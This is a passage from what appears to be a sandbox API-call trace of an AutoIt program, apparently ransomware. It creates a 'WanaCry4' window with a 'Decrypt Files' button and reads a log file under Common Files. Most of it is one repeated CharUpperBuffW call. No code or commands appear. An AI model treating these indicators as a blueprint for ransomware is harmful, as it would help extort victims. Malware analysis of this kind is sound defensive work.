cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.258] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.259] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.260] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.261] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.262] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.263] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.264] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.265] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.266] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.267] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.512] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xa96acaf720, fWinIni=0x0 | out: pvParam=0xa96acaf720) returned 1 [0043.512] GetSystemMetrics (nIndex=7) returned 3 [0043.512] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xa96acaf720, fWinIni=0x0 | out: pvParam=0xa96acaf720) returned 1 [0043.512] GetSystemMetrics (nIndex=8) returned 3 [0043.512] GetSystemMetrics (nIndex=4) returned 23 [0043.512] SetRect (in: lprc=0xa96acaf720, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0xa96acaf720) returned 1 [0043.512] AdjustWindowRectEx (in: lpRect=0xa96acaf720, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xa96acaf720) returned 1 [0043.512] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa004e [0043.512] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.512] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x81, wParam=0x0, lParam=0xa96acaf0d0) returned 0x1 [0043.512] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.512] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x83, wParam=0x0, lParam=0xa96acaf140) returned 0x0 [0043.513] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.513] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.513] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0043.513] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.513] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0043.513] SetWindowLongPtrW (hWnd=0xa004e, nIndex=-21, dwNewLong=0x0) returned 0x0 [0043.513] GetClientRect (in: hWnd=0xa004e, lpRect=0xa96acaf720 | out: lpRect=0xa96acaf720) returned 1 [0043.513] GetStockObject (i=17) returned 0x10a0047 [0043.513] SendMessageW (hWnd=0xa004e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0043.513] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.513] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0043.513] GetCursorPos (in: lpPoint=0xa96acaf6c0 | out: lpPoint=0xa96acaf6c0*(x=800, y=505)) returned 1 [0043.513] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf6c0 | out: lpPoint=0xa96acaf6c0) returned 1 [0043.513] GetAsyncKeyState (vKey=1) returned 0 [0043.513] GetAsyncKeyState (vKey=2) returned 0 [0043.513] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f6d [0043.513] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.513] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.513] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.513] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0043.514] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.514] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0xa004e, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc0182 [0043.515] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.515] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x55, wParam=0xc0182, lParam=0x3) returned 0x2 [0043.515] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.515] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0043.515] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.515] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0043.515] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.515] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0043.515] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.515] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x30001, lParam=0xc0182) returned 0x0 [0043.515] GetStockObject (i=17) returned 0x10a0047 [0043.515] SendMessageW (hWnd=0xc0182, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0043.515] GetClientRect (in: hWnd=0xc0182, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.515] GetWindowRect (in: hWnd=0xc0182, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.515] SetWindowLongPtrW (hWnd=0xc0182, nIndex=-21, dwNewLong=0x3) returned 0x0 [0043.515] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.516] GetDC (hWnd=0x0) returned 0xe010572 [0043.516] GetDeviceCaps (hdc=0xe010572, index=90) returned 96 [0043.516] ReleaseDC (hWnd=0x0, hDC=0xe010572) returned 1 [0043.516] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffff930a07d3 [0043.516] SendMessageW (hWnd=0xc0182, Msg=0x30, wParam=0xffffffff930a07d3, lParam=0x1) returned 0x0 [0043.516] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.516] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0xa004e, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xd001e [0043.519] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.519] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x40001, lParam=0xd001e) returned 0x0 [0043.520] GetStockObject (i=17) returned 0x10a0047 [0043.520] SendMessageW (hWnd=0xd001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0043.520] GetWindowTextLengthW (hWnd=0xd001e) returned 0 [0043.521] SendMessageW (hWnd=0xd001e, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0043.521] GetClientRect (in: hWnd=0xd001e, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.521] GetWindowRect (in: hWnd=0xd001e, lpRect=0xa96acaf5f0 | out: lpRect=0xa96acaf5f0) returned 1 [0043.521] SetWindowLongPtrW (hWnd=0xd001e, nIndex=-21, dwNewLong=0x4) returned 0x0 [0043.521] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.521] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0043.521] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0043.521] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0043.521] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0043.522] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0043.522] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0043.523] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0043.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0xa96aefb770, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0043.523] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0043.523] SendMessageW (hWnd=0xd001e, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0043.524] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0043.524] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0043.524] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0043.525] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0043.525] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.525] CreateSolidBrush (color=0x0) returned 0x351007f1 [0043.525] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.525] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.526] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf6e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf6e0*=0) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf6d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf6d0*=0) returned 1 [0043.526] ReadFile (in: hFile=0x18c, lpBuffer=0xa96af0cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf710, lpOverlapped=0x0 | out: lpBuffer=0xa96af0cb00*, lpNumberOfBytesRead=0xa96acaf710*=0x324a, lpOverlapped=0x0) returned 1 [0043.526] ReadFile (in: hFile=0x18c, lpBuffer=0xa96af0cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf710, lpOverlapped=0x0 | out: lpBuffer=0xa96af0cb00*, lpNumberOfBytesRead=0xa96acaf710*=0x0, lpOverlapped=0x0) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf750, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf750*=12874) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf750, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf750*=0) returned 1 [0043.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf6a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf6a0*=0) returned 1 [0043.527] ReadFile (in: hFile=0x18c, lpBuffer=0xa96af0cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf6e0, lpOverlapped=0x0 | out: lpBuffer=0xa96af0cb00*, lpNumberOfBytesRead=0xa96acaf6e0*=0x324a, lpOverlapped=0x0) returned 1 [0043.527] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.527] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0043.528] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf100, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf100*=0) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf0f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf0f0*=0) returned 1 [0043.528] ReadFile (in: hFile=0x18c, lpBuffer=0xa96af0cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf130, lpOverlapped=0x0 | out: lpBuffer=0xa96af0cb00*, lpNumberOfBytesRead=0xa96acaf130*=0x324a, lpOverlapped=0x0) returned 1 [0043.528] ReadFile (in: hFile=0x18c, lpBuffer=0xa96af0cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf130, lpOverlapped=0x0 | 